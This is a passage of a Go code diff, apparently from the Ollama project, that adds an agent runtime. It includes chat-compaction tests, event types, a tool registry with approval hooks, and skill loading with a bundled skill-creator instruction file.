+func TestSimpleCompactorKeepsFewerTurnsForShortChats(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "short summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		KeepUserTurns:       3,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID: "chat-1",
+		Model:  "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "latest request"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if len(result.Messages) != 3 {
+		t.Fatalf("messages = %#v, want compaction tool pair plus latest request", result.Messages)
+	}
+	assertCompactionSummaryPair(t, result.Messages[:2])
+	if result.Messages[2].Content != "latest request" {
+		t.Fatalf("latest turn was not kept: %#v", result.Messages)
+	}
+}
+
+func TestSimpleCompactorCanArchiveWholeShortChat(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "whole summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       3,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID: "chat-1",
+		Model:  "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "only request"},
+			{Role: "assistant", Content: "only answer"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if len(result.Messages) != 2 {
+		t.Fatalf("messages = %#v, want only compaction tool pair", result.Messages)
+	}
+	assertCompactionSummaryPair(t, result.Messages)
+}
+
+func TestSimpleCompactorSkipsBelowThreshold(t *testing.T) {
+	client := &fakeClient{}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		Threshold:           0.8,
+	}}
+
+	messages := []api.Message{
+		{Role: "user", Content: "one"},
+		{Role: "user", Content: "two"},
+		{Role: "user", Content: "three"},
+		{Role: "user", Content: "four"},
+		{Role: "user", Content: "five"},
+	}
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model:    "model",
+		Messages: messages,
+		Latest:   api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 50}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Compacted {
+		t.Fatal("did not expect compaction")
+	}
+	if result.Due {
+		t.Fatal("below-threshold compaction should not be due")
+	}
+	if len(result.Messages) != len(messages) {
+		t.Fatalf("messages changed below threshold: %#v", result.Messages)
+	}
+	if len(client.requests) != 0 {
+		t.Fatalf("summary requests = %d, want 0", len(client.requests))
+	}
+}
+
+func TestSimpleCompactorUsesEstimatedMessagesWhenPromptEvalMissing(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "estimated summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.8,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old request"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "read large output"},
+			{Role: "assistant", ToolCalls: []api.ToolCall{{
+				ID: "call-1",
+				Function: api.ToolCallFunction{
+					Name: "read",
+				},
+			}}},
+			{Role: "tool", ToolName: "read", ToolCallID: "call-1", Content: strings.Repeat("x", 360)},
+		},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Due || !result.Compacted {
+		t.Fatalf("expected estimate-driven compaction, got %#v", result)
+	}
+	if result.Summary != "estimated summary" {
+		t.Fatalf("summary = %q", result.Summary)
+	}
+}
+
+func TestSimpleCompactorEstimateIncludesRequestPreamble(t *testing.T) {
+	compactor := &SimpleCompactor{Client: nil, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		Threshold:           0.8,
+	}}
+
+	if !compactor.shouldCompact(CompactionRequest{
+		SystemPrompt: strings.Repeat("system ", 360),
+		Messages:     []api.Message{{Role: "user", Content: "tiny"}},
+	}) {
+		t.Fatal("system prompt should count toward compaction estimate")
+	}
+
+	if !compactor.shouldCompact(CompactionRequest{
+		Messages: []api.Message{{Role: "user", Content: "tiny"}},
+		Tools: api.Tools{{
+			Type: "function",
+			Function: api.ToolFunction{
+				Name:        "verbose_tool",
+				Description: strings.Repeat("description ", 360),
+			},
+		}},
+	}) {
+		t.Fatal("tool definitions should count toward compaction estimate")
+	}
+}
+
+func TestCompactionPromptFitsBudgetByTruncatingLargeToolOutput(t *testing.T) {
+	largeToolOutput := strings.Repeat("x", 10_000)
+	body, err := compactionPrompt("", []api.Message{
+		{Role: "user", Content: "what changed?"},
+		{Role: "assistant", ToolCalls: []api.ToolCall{{
+			ID: "call-1",
+			Function: api.ToolCallFunction{
+				Name: "bash",
+			},
+		}}},
+		{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: largeToolOutput},
+	}, 300)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if estimateCompactionTokens(body) > 300 {
+		t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
+	}
+	if strings.Count(body, "x") >= len(largeToolOutput) {
+		t.Fatal("large tool output was not truncated")
+	}
+	if !strings.Contains(body, "[tool output truncated: showing first ~") {
+		t.Fatalf("truncation marker missing from compaction prompt: %q", body)
+	}
+}
+
+func TestCompactionPromptRetruncatesAlreadyTruncatedToolOutput(t *testing.T) {
+	alreadyTruncated := strings.Repeat("x", 7000) + "\n\n[tool output truncated: showing first ~100 tokens and last ~100 tokens; omitted ~99999 tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n" + strings.Repeat("y", 7000)
+	body, err := compactionPrompt("", []api.Message{
+		{Role: "user", Content: "what changed?"},
+		{Role: "assistant", ToolCalls: []api.ToolCall{{
+			ID: "call-1",
+			Function: api.ToolCallFunction{
+				Name: "bash",
+			},
+		}}},
+		{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: alreadyTruncated},
+	}, 300)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if estimateCompactionTokens(body) > 300 {
+		t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
+	}
+	if strings.Count(body, "x")+strings.Count(body, "y") >= 14_000 {
+		t.Fatal("already-truncated tool output was not truncated again")
+	}
+	if !strings.Contains(body, "[tool output truncated: showing first ~") {
+		t.Fatalf("truncation marker missing from compaction prompt: %q", body)
+	}
+}
+
+func TestCompactionSummaryTextStripsPrefix(t *testing.T) {
+	content := compactionSummaryMessageForTask("worked on branch changes", false)
+	if got := CompactionSummaryText(content); got != "worked on branch changes" {
+		t.Fatalf("summary text = %q", got)
+	}
+}
+
+func TestCompactionSummaryCanTellModelToContinueTask(t *testing.T) {
+	content := compactionSummaryMessageForTask("worked on branch changes", true)
+	if !strings.Contains(content, CompactionContinueInstruction) {
+		t.Fatalf("summary message missing continue instruction: %q", content)
+	}
+	if got := CompactionSummaryText(content); got != "worked on branch changes" {
+		t.Fatalf("summary text = %q", got)
+	}
+}
+
+func TestResolveContextWindowTokensPrefersExplicitNumCtx(t *testing.T) {
+	tests := []struct {
+		name       string
+		options    map[string]any
+		configured int
+		want       int
+	}{
+		{
+			name:       "explicit smaller num ctx",
+			options:    map[string]any{"num_ctx": 4096},
+			configured: 8192,
+			want:       4096,
+		},
+		{
+			name:       "explicit num ctx can exceed configured metadata",
+			options:    map[string]any{"num_ctx": 131072},
+			configured: 8192,
+			want:       131072,
+		},
+		{
+			name:       "metadata without explicit num ctx",
+			configured: 32768,
+			want:       32768,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := ResolveContextWindowTokens(tt.options, tt.configured); got != tt.want {
+				t.Fatalf("ResolveContextWindowTokens() = %d, want %d", got, tt.want)
+			}
+		})
+	}
+}
+
+func TestSimpleCompactorForceCompactsWithoutPromptEvalCount(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "forced summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 100,
+		KeepUserTurns:       1,
+		Threshold:           0.8,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent"},
+		},
+		Force: true,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Due || !result.Compacted {
+		t.Fatalf("forced compaction result = %#v", result)
+	}
+	if result.Summary != "forced summary" {
+		t.Fatalf("summary = %q", result.Summary)
+	}
+}
+
+func TestSimpleCompactorDefaultsToKeepingThreeUserTurns(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		ChatID: "chat-1",
+		Model:  "model",
+		Messages: []api.Message{
+			{Role: "user", Content: "old"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "one"},
+			{Role: "assistant", Content: "one answer"},
+			{Role: "user", Content: "two"},
+			{Role: "assistant", Content: "two answer"},
+			{Role: "user", Content: "three"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	assertCompactionSummaryPair(t, result.Messages[:2])
+	if got := result.Messages[2].Content; got != "one" {
+		t.Fatalf("first kept turn = %q, want one", got)
+	}
+}
+
+func TestSimpleCompactorCarriesPreviousSummary(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "new summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model: "model",
+		Messages: []api.Message{
+			{Role: "system", Content: CompactionSummaryMessagePrefix + "old summary"},
+			{Role: "user", Content: "old"},
+			{Role: "assistant", Content: "old answer"},
+			{Role: "user", Content: "recent"},
+		},
+		Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
+		t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
+	}
+}
+
+func TestSimpleCompactorCarriesPreviousToolSummaryAndPlacesNewSummaryBeforeKeptSuffix(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "new summary"}},
+		}},
+	}
+	compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
+		ContextWindowTokens: 16000,
+		KeepUserTurns:       1,
+		Threshold:           0.5,
+	}}
+
+	messages := []api.Message{
+		{Role: "user", Content: "kept before old summary"},
+		CompactionSummaryMessages("old summary", false)[0],
+		CompactionSummaryMessages("old summary", false)[1],
+		{Role: "user", Content: "latest request"},
+	}
+	result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
+		Model:    "model",
+		Messages: messages,
+		Latest:   api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !result.Compacted {
+		t.Fatal("expected compaction")
+	}
+	if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
+		t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
+	}
+	if len(result.Messages) != 3 {
+		t.Fatalf("messages = %#v, want compaction pair plus latest request", result.Messages)
+	}
+	assertCompactionSummaryPair(t, result.Messages[:2])
+	if result.Messages[2].Content != "latest request" {
+		t.Fatalf("kept suffix = %#v", result.Messages)
+	}
+}

agent/events.go

@@ -0,0 +1,177 @@
+package agent
+
+import (
+	"context"
+	"errors"
+
+	"github.com/ollama/ollama/api"
+)
+
+type EventType string
+
+const (
+	EventMessageDelta       EventType = "message_delta"
+	EventThinkingDelta      EventType = "thinking_delta"
+	EventToolCallDetected   EventType = "tool_call_detected"
+	EventToolStarted        EventType = "tool_started"
+	EventToolFinished       EventType = "tool_finished"
+	EventCompactionStarted  EventType = "compaction_started"
+	EventCompactionProgress EventType = "compaction_progress"
+	EventCompacted          EventType = "compacted"
+	EventCompactionSkipped  EventType = "compaction_skipped"
+	EventRunFinished        EventType = "run_finished"
+	EventError              EventType = "error"
+)
+
+// ToolStatus is the typed lifecycle state for a tool call, carried on
+// Event.ToolStatus for tool events.
+type ToolStatus string
+
+const (
+	ToolStatusRunning  ToolStatus = "running"
+	ToolStatusDone     ToolStatus = "done"
+	ToolStatusFailed   ToolStatus = "failed"
+	ToolStatusDenied   ToolStatus = "denied"
+	ToolStatusDisabled ToolStatus = "disabled"
+	ToolStatusSkipped  ToolStatus = "skipped"
+)
+
+// RunStatus is the typed terminal outcome of a run, carried on Event.Status for
+// run_finished events.
+type RunStatus string
+
+const (
+	RunStatusDone     RunStatus = "done"
+	RunStatusDenied   RunStatus = "denied"
+	RunStatusCanceled RunStatus = "canceled"
+)
+
+// CompactionTrigger is the typed reason a compaction ran or was attempted,
+// carried on Event.CompactionTrigger for compaction events.
+type CompactionTrigger string
+
+const (
+	CompactionTriggerForce      CompactionTrigger = "force"
+	CompactionTriggerPromptEval CompactionTrigger = "prompt_eval"
+	CompactionTriggerEstimate   CompactionTrigger = "estimate"
+	CompactionTriggerToolOutput CompactionTrigger = "tool_output"
+	CompactionTriggerError      CompactionTrigger = "error"
+	CompactionTriggerDue        CompactionTrigger = "due"
+)
+
+type Event struct {
+	Type              EventType         `json:"type"`
+	RunID             string            `json:"runId,omitempty"`
+	ChatID            string            `json:"chatId,omitempty"`
+	Model             string            `json:"model,omitempty"`
+	Status            RunStatus         `json:"status,omitempty"`
+	ToolStatus        ToolStatus        `json:"toolStatus,omitempty"`
+	CompactionTrigger CompactionTrigger `json:"compactionTrigger,omitempty"`
+	ToolCallID        string            `json:"toolCallId,omitempty"`
+	ToolName          string            `json:"toolName,omitempty"`
+	WorkingDir        string            `json:"workingDir,omitempty"`
+	Content           string            `json:"content,omitempty"`
+	Thinking          string            `json:"thinking,omitempty"`
+	ToolCalls         []api.ToolCall    `json:"toolCalls,omitempty"`
+	Messages          []api.Message     `json:"messages,omitempty"`
+	Args              map[string]any    `json:"args,omitempty"`
+	Tokens            int               `json:"tokens,omitempty"`
+	Error             string            `json:"error,omitempty"`
+}
+
+type EventSink interface {
+	Emit(Event) error
+}
+
+type EventSinkFunc func(Event) error
+
+func (fn EventSinkFunc) Emit(event Event) error {
+	if fn == nil {
+		return nil
+	}
+	return fn(event)
+}
+
+// eventMetadata carries the run identification fields shared by all events.
+type eventMetadata struct {
+	runID  string
+	chatID string
+	model  string
+}
+
+func newEventMetadata(runID string, opts RunOptions) eventMetadata {
+	return eventMetadata{runID: runID, chatID: opts.ChatID, model: opts.Model}
+}
+
+func newMessageDelta(m eventMetadata, content string) Event {
+	return Event{Type: EventMessageDelta, RunID: m.runID, ChatID: m.chatID, Model: m.model, Content: content}
+}
+
+func newThinkingDelta(m eventMetadata, thinking string) Event {
+	return Event{Type: EventThinkingDelta, RunID: m.runID, ChatID: m.chatID, Model: m.model, Thinking: thinking}
+}
+
+func newToolCallDetected(m eventMetadata, calls []api.ToolCall) Event {
+	return Event{Type: EventToolCallDetected, RunID: m.runID, ChatID: m.chatID, Model: m.model, ToolCalls: calls}
+}
+
+func newToolStarted(m eventMetadata, callID, toolName, workingDir string, args map[string]any) Event {
+	return Event{Type: EventToolStarted, RunID: m.runID, ChatID: m.chatID, Model: m.model, ToolStatus: ToolStatusRunning, ToolCallID: callID, ToolName: toolName, WorkingDir: workingDir, Args: args}
+}
+
+func newToolFinished(m eventMetadata, status ToolStatus, callID, toolName, workingDir string, args map[string]any, content, errMsg string) Event {
+	ev := Event{Type: EventToolFinished, RunID: m.runID, ChatID: m.chatID, Model: m.model, ToolStatus: status, ToolCallID: callID, ToolName: toolName, WorkingDir: workingDir, Args: args, Content: content}
+	if errMsg != "" {
+		ev.Error = errMsg
+	}
+	return ev
+}
+
+func newRunFinished(m eventMetadata, status RunStatus) Event {
+	return Event{Type: EventRunFinished, RunID: m.runID, ChatID: m.chatID, Model: m.model, Status: status}
+}
+
+func newErrorEvent(m eventMetadata, errMsg string) Event {
+	return Event{Type: EventError, RunID: m.runID, ChatID: m.chatID, Model: m.model, Error: errMsg}
+}
+
+func newCompactionProgress(m eventMetadata, tokens int) Event {
+	return Event{Type: EventCompactionProgress, RunID: m.runID, ChatID: m.chatID, Model: m.model, Tokens: tokens}
+}
+
+func newCompactionStarted(m eventMetadata, trigger CompactionTrigger) Event {
+	return Event{Type: EventCompactionStarted, RunID: m.runID, ChatID: m.chatID, Model: m.model, CompactionTrigger: trigger}
+}
+
+func newCompactionSkipped(m eventMetadata, trigger CompactionTrigger, content string) Event {
+	return Event{Type: EventCompactionSkipped, RunID: m.runID, ChatID: m.chatID, Model: m.model, CompactionTrigger: trigger, Content: content}
+}
+
+func newCompacted(m eventMetadata, messages []api.Message, trigger CompactionTrigger, content string) Event {
+	return Event{Type: EventCompacted, RunID: m.runID, ChatID: m.chatID, Model: m.model, CompactionTrigger: trigger, Content: content, Messages: messages}
+}
+
+func (s *Session) emit(event Event) error {
+	if s == nil {
+		return nil
+	}
+	var errs []error
+	for _, sink := range s.EventSinks {
+		if sink == nil {
+			continue
+		}
+		if err := sink.Emit(event); err != nil {
+			errs = append(errs, err)
+		}
+	}
+	return errors.Join(errs...)
+}
+
+func (s *Session) emitIgnoringCanceled(ctx context.Context, event Event) error {
+	err := s.emit(event)
+	if err != nil && ctx != nil && ctx.Err() != nil {
+		//nolint:nilerr // Event sinks may close during cancellation; cancellation is not a user-facing emit failure.
+		return nil
+	}
+	return err
+}

agent/registry.go

@@ -0,0 +1,104 @@
+package agent
+
+import (
+	"context"
+	"fmt"
+	"sort"
+
+	"github.com/ollama/ollama/api"
+)
+
+type ToolContext struct {
+	WorkingDir string
+}
+
+type ToolResult struct {
+	Content    string
+	WorkingDir string
+}
+
+type Tool interface {
+	Name() string
+	Description() string
+	Schema() api.ToolFunction
+	Execute(context.Context, ToolContext, map[string]any) (ToolResult, error)
+}
+
+type ApprovalRequired interface {
+	RequiresApproval(map[string]any) bool
+}
+
+// ScopedTool is implemented by tools that need per-invocation approval
+// scoping beyond the tool name (e.g. shell commands scoped to the exact
+// command string). Tools that don't implement this are scoped by name only.
+type ScopedTool interface {
+	ApprovalScope(args map[string]any) string
+}
+
+type Registry struct {
+	tools map[string]Tool
+}
+
+func (r *Registry) Register(tool Tool) {
+	if r == nil || tool == nil {
+		return
+	}
+	if r.tools == nil {
+		r.tools = make(map[string]Tool)
+	}
+	r.tools[tool.Name()] = tool
+}
+
+func (r *Registry) Get(name string) (Tool, bool) {
+	if r == nil {
+		return nil, false
+	}
+	tool, ok := r.tools[name]
+	return tool, ok
+}
+
+func (r *Registry) Names() []string {
+	if r == nil {
+		return nil
+	}
+	names := make([]string, 0, len(r.tools))
+	for name := range r.tools {
+		names = append(names, name)
+	}
+	sort.Strings(names)
+	return names
+}
+
+func (r *Registry) Tools() api.Tools {
+	if r == nil {
+		return nil
+	}
+	names := r.Names()
+	apiTools := make(api.Tools, 0, len(names))
+	for _, name := range names {
+		tool := r.tools[name]
+		apiTools = append(apiTools, api.Tool{
+			Type:     "function",
+			Function: tool.Schema(),
+		})
+	}
+	return apiTools
+}
+
+func (r *Registry) Execute(ctx context.Context, toolCtx ToolContext, call api.ToolCall) (ToolResult, error) {
+	tool, ok := r.Get(call.Function.Name)
+	if !ok {
+		return ToolResult{}, fmt.Errorf("unknown tool: %s", call.Function.Name)
+	}
+	return tool.Execute(ctx, toolCtx, call.Function.Arguments.ToMap())
+}
+
+func ToolRequiresApproval(tool Tool, args map[string]any) bool {
+	if tool == nil {
+		return false
+	}
+	if t, ok := tool.(ApprovalRequired); ok {
+		return t.RequiresApproval(args)
+	}
+	return false
+}

agent/skill_activation.go

@@ -0,0 +1,57 @@
+package agent
+
+import (
+	"context"
+	"strings"
+
+	"github.com/google/uuid"
+
+	"github.com/ollama/ollama/api"
+)
+
+// activateSkill loads opts.SkillName from the catalog and injects a synthetic
+// assistant tool call plus tool result before the first model request, so the
+// transcript looks like a real skill tool invocation. It emits the same
+// tool_call_detected -> tool_started -> tool_finished lifecycle the model path
+// uses, and returns the messages to prepend. A blank SkillName is a no-op.
+func (s *Session) activateSkill(ctx context.Context, runID string, opts RunOptions) ([]api.Message, error) {
+	name := strings.TrimSpace(opts.SkillName)
+	if name == "" {
+		return nil, nil
+	}
+	select {
+	case <-ctx.Done():
+		return nil, ctx.Err()
+	default:
+	}
+	skill, err := s.Skills.Load(name)
+	if err != nil {
+		return nil, err
+	}
+	args := api.NewToolCallFunctionArguments()
+	args.Set("name", skill.Name)
+	call := api.ToolCall{
+		ID:       "call_skill_" + uuid.NewString(),
+		Function: api.ToolCallFunction{Name: "skill", Arguments: args},
+	}
+	result := api.Message{
+		Role:       "tool",
+		ToolName:   "skill",
+		ToolCallID: call.ID,
+		Content:    skill.Content(),
+	}
+	meta := newEventMetadata(runID, opts)
+	if err := s.emit(newToolCallDetected(meta, []api.ToolCall{call})); err != nil {
+		return nil, err
+	}
+	if err := s.emit(newToolStarted(meta, call.ID, "skill", s.currentWorkingDir(), args.ToMap())); err != nil {
+		return nil, err
+	}
+	if err := s.emitIgnoringCanceled(ctx, newToolFinished(meta, ToolStatusDone, call.ID, "skill", s.currentWorkingDir(), args.ToMap(), result.Content, "")); err != nil {
+		return nil, err
+	}
+	return []api.Message{
+		{Role: "assistant", ToolCalls: []api.ToolCall{call}},
+		result,
+	}, nil
+}

agent/skill_activation_test.go

@@ -0,0 +1,74 @@
+package agent
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/ollama/ollama/api"
+)
+
+type skillTestClient struct{ requests []*api.ChatRequest }
+
+func (c *skillTestClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
+	c.requests = append(c.requests, req)
+	return fn(api.ChatResponse{Message: api.Message{Role: "assistant", Content: "Done."}})
+}
+
+func testSkillCatalog(t *testing.T) *SkillCatalog {
+	t.Helper()
+	dir := t.TempDir()
+	path := filepath.Join(dir, "release-notes")
+	if err := os.Mkdir(path, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(path, "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft release notes.\n---\nUse concise bullets."), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	catalog, err := DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	return catalog
+}
+
+func TestSessionSkillActivationPreservesCallAndResultOrder(t *testing.T) {
+	catalog := testSkillCatalog(t)
+	client := &skillTestClient{}
+	events := &recordingEventSink{}
+	result, err := (&Session{Client: client, Skills: catalog, EventSinks: []EventSink{events}}).Run(context.Background(), RunOptions{
+		Model:       "test",
+		NewMessages: []api.Message{{Role: "user", Content: "draft release notes"}},
+		SkillName:   "release-notes",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(result.Messages) != 4 {
+		t.Fatalf("transcript = %#v", result.Messages)
+	}
+	call, toolTranscript := result.Messages[1], result.Messages[2]
+	if call.Role != "assistant" || len(call.ToolCalls) != 1 || call.ToolCalls[0].Function.Name != "skill" || !strings.HasPrefix(call.ToolCalls[0].ID, "call_skill_") {
+		t.Fatalf("call message = %#v", call)
+	}
+	if toolTranscript.Role != "tool" || toolTranscript.ToolName != "skill" || toolTranscript.ToolCallID != call.ToolCalls[0].ID || !strings.Contains(toolTranscript.Content, "Use concise bullets.") {
+		t.Fatalf("tool result = %#v", toolTranscript)
+	}
+	if len(client.requests) != 1 || len(client.requests[0].Messages) != 3 || client.requests[0].Messages[2].ToolCallID != call.ToolCalls[0].ID {
+		t.Fatalf("model request did not preserve transcript: %#v", client.requests)
+	}
+	var skillEvents []EventType
+	for _, event := range events.events {
+		if event.ToolName == "skill" || event.Type == EventToolCallDetected {
+			skillEvents = append(skillEvents, event.Type)
+		}
+	}
+	if len(skillEvents) < 3 {
+		t.Fatalf("skill event order = %#v, want tool_call_detected,tool_started,tool_finished", skillEvents)
+	}
+	if got, want := strings.Join([]string{string(skillEvents[0]), string(skillEvents[1]), string(skillEvents[2])}, ","), "tool_call_detected,tool_started,tool_finished"; got != want {
+		t.Fatalf("skill event order = %#v, want %s", skillEvents, want)
+	}
+}

agent/skills.go

@@ -0,0 +1,438 @@
+package agent
+
+import (
+	"errors"
+	"fmt"
+	"io/fs"
+	"os"
+	"path/filepath"
+	"regexp"
+	"sort"
+	"strings"
+
+	"gopkg.in/yaml.v3"
+)
+
+const (
+	// SkillsDirEnv overrides the user-level Ollama-owned skills directory. The
+	// cross-client .agents/skills/ convention and project-level .ollama/skills/
+	// are also scanned (see LoadDefaultSkills); on a name collision, Ollama-owned
+	// directories take precedence over .agents/skills/, and project-level takes
+	// precedence over user-level.
+	SkillsDirEnv  = "OLLAMA_SKILLS"
+	skillFilename = "SKILL.md"
+	maxSkillBytes = 1 << 20
+
+	bundledSkillCreatorName    = "skill-creator"
+	bundledSkillCreatorContent = `---
+name: skill-creator
+description: Create or improve reusable skills. Use when the user wants a reusable skill, asks how to author SKILL.md, or needs help installing a skill.
+---
+
+# Create a skill
+
+Create a focused, reusable instruction package. Treat a skill as guidance for the model, not as a way to gain new permissions or bypass safety controls.
+
+## Choose the location
+
+Create user skills beside this one. The skill directory shown in the loaded skill context is this skill's location; its parent is the user skill root. This bundled skill normally lives at ~/.ollama/skills/skill-creator, so new user skills normally go at ~/.ollama/skills/<skill-name>/SKILL.md.
+
+Use a project-local skill directory only when the user asks to keep the skill with that project. Do not overwrite an existing skill without the user's approval. New and changed skills are discovered when the agent starts, so tell the user to begin a new agent session afterward.
+
+## Follow the required shape
+
+Use the directory name as the skill name. Use lowercase letters, numbers, and single hyphens only. Keep the name short and no longer than 64 characters.
+
+Every skill needs a SKILL.md with YAML frontmatter followed by Markdown instructions:
+
+~~~md
+---
+name: release-notes
+description: Draft concise release notes from completed changes. Use when the user asks for a changelog, release notes, or GitHub release copy.
+---
+
+# Draft release notes
+
+Write the workflow here.
+~~~
+
+Require a non-empty description that says both what the skill does and when to use it. Keep the body procedural and concise. Put detailed schemas, long examples, and variant-specific guidance in references/ only when the skill needs them.
+
+Use scripts/ for repeatable or fragile operations that benefit from deterministic execution. Use assets/ for files that belong in generated output. Do not add README files, changelogs, or setup notes that do not help the model perform the task.
+
+## Create safely
+
+1. Identify the repeated task, expected inputs, and useful output.
+2. Choose the smallest name and description that reliably trigger the skill.
+3. Create the folder and SKILL.md; add resources only when they remove real repeated work.
+4. Re-read the completed file and verify its frontmatter, directory-name match, and relative resource paths.
+5. Tell the user where it was created and that a new agent session will discover it.
+
+Skills provide instructions only. They do not grant filesystem, network, shell, or approval privileges, and they do not make a tool available. Use only the tools that are actually available, follow their normal approval rules, and ask before actions that need user authorization.
+`
+)
+
+var skillName = regexp.MustCompile(`^[a-z0-9]+(?:-[a-z0-9]+)*$`)
+
+// SkillsDir returns the canonical runtime-owned skill directory.
+func SkillsDir() (string, error) {
+	if path := strings.TrimSpace(os.Getenv(SkillsDirEnv)); path != "" {
+		return filepath.Abs(path)
+	}
+	if xdg := strings.TrimSpace(os.Getenv("XDG_CONFIG_HOME")); xdg != "" {
+		return filepath.Join(xdg, "ollama", "skills"), nil
+	}
+	home, err := os.UserHomeDir()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(home, ".ollama", "skills"), nil
+}
+
+// Skill is a validated, loadable instruction set. It never grants tool
+// permissions; it is supplied to the model as ordinary tool-result content.
+type Skill struct {
+	Name         string
+	Description  string
+	Instructions string
+	Path         string
+}
+
+func (s Skill) Content() string {
+	var b strings.Builder
+	fmt.Fprintf(&b, "<skill name=%q>\n%s\n", s.Name, strings.TrimSpace(s.Instructions))
+	if s.Path != "" {
+		dir := filepath.Dir(s.Path)
+		fmt.Fprintf(&b, "Skill directory: %s\n", dir)
+		b.WriteString("Relative paths in this skill are relative to the skill directory.\n")
+	}
+	if resources := s.resources(); len(resources) > 0 {
+		b.WriteString("<skill_resources>\n")
+		for _, r := range resources {
+			fmt.Fprintf(&b, "  <file>%s</file>\n", r)
+		}
+		b.WriteString("</skill_resources>\n")
+	}
+	b.WriteString("</skill>")
+	return b.String()
+}
+
+// resources lists bundled files one level deep under scripts/, references/,
+// and assets/ without reading them, so the model can load them on demand.
